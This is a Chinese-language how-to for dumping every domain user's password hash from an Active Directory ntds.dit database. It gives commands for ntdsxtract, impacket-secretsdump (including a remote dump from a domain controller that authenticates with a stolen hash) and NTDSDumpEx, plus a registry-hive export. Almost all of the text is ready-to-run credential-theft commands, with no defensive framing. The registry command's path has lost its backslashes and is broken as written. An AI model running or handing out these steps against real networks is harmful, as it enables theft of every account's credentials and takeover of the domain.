导出ntds.dit中的散列值

1.下载NTDSX

http://www.ntdsxtract.com

git clone https://github.com/csababarta/ntdsxtract

安装

python setup.py build && python setup.py install

将导出的ntds.dit.export 文件夹中的datatable.3和link_table.5和system.hive文件一并放入ntdsxtract文件夹中，执行如下命令：

python dsusers.py datatable.3 link_table.5 output --syshive SYSTEM -–passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee all_user.txt

执行完毕，会将域内用户和散列值导出到all_user.txt中。

ntds.dit 包含域内所有信息，可以通过分析ntds.dit 导出域内计算机信息，命令如下：

python dscomputers.py datatable.3 computer_output --csvoutfile all_computers.csv

域内所有的计算机信息被导出到csv文件中。

 

2 使用impacket工具包中的secretdump导出散列值

impacket工具包中的secretdump可以解析ntds.dit并导出所有的用户名和散列值。

impacket-secretsdump -system system.hive -ntds ntds.dit LOCAL

impacket 还可以直接通过用户名和散列值进行验证，从远程域控制器中读取ntds.dit 并转储域散列值

impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4 -just-dc PAYLOAD/administrator@192.168.190.130

 

3 在windows下解析ntds.dit 并导出域账号和域散列值

使用NTDSDumpex.exe可以进行导出散列值的操作。

将ntds.dit、NTDSDumpex.exe、system.hive 放在同一目录下，输入如下命令即可导出域账号和散列值。

NTDSDumpEx.exe下载地址：https://github.com/zcgonvh/NTDSDumpEx

获取key：reg save HKLMSYSTEM c:windows empSys.hiv

使用NTDSDumpEx获取所有域用户的Hash

NTDSDumpEx.exe -d ntds.dit -s system.hive -o hash.txt